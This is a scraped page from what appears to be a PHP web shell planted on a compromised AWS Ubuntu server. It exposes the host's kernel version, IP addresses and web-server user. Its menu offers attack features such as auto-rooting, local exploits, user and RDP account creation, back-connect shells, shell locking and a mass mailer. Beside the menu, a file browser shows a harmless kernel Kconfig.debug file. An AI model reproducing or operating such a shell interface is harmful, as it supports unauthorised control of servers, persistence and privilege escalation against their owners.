Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.223.195.30
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-aws-headers-4.15.0-1021 /
arch /
cris /
[ HOME SHELL ]
Name
Size
Permission
Action
arch-v10
[ DIR ]
drwxr-xr-x
arch-v32
[ DIR ]
drwxr-xr-x
boot
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
kernel
[ DIR ]
drwxr-xr-x
mm
[ DIR ]
drwxr-xr-x
Kconfig
13.86
KB
-rw-r--r--
Kconfig.debug
1.19
KB
-rw-r--r--
Makefile
2.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Kconfig.debug
# SPDX-License-Identifier: GPL-2.0 menu "Kernel hacking" config PROFILING bool "Kernel profiling support" config SYSTEM_PROFILER bool "System profiling support" source "lib/Kconfig.debug" config ETRAX_KGDB bool "Use kernel GDB debugger" depends on DEBUG_KERNEL ---help--- The CRIS version of gdb can be used to remotely debug a running Linux kernel via the serial debug port. Provided you have gdb-cris installed, run gdb-cris vmlinux, then type (gdb) set remotebaud 115200 <- kgdb uses 115200 as default (gdb) target remote /dev/ttyS0 <- maybe you use another port This should connect you to your booted kernel (or boot it now if you didn't before). The kernel halts when it boots, waiting for gdb if this option is turned on! config DEBUG_NMI_OOPS bool "NMI causes oops printout" depends on DEBUG_KERNEL help If the system locks up without any debug information you can say Y here to make it possible to dump an OOPS with an external NMI. config NO_SEGFAULT_TERMINATION bool "Keep segfaulting processes" help Place segfaulting user mode processes on a wait queue instead of delivering a terminating SIGSEGV to allow debugging with gdb. endmenu
Close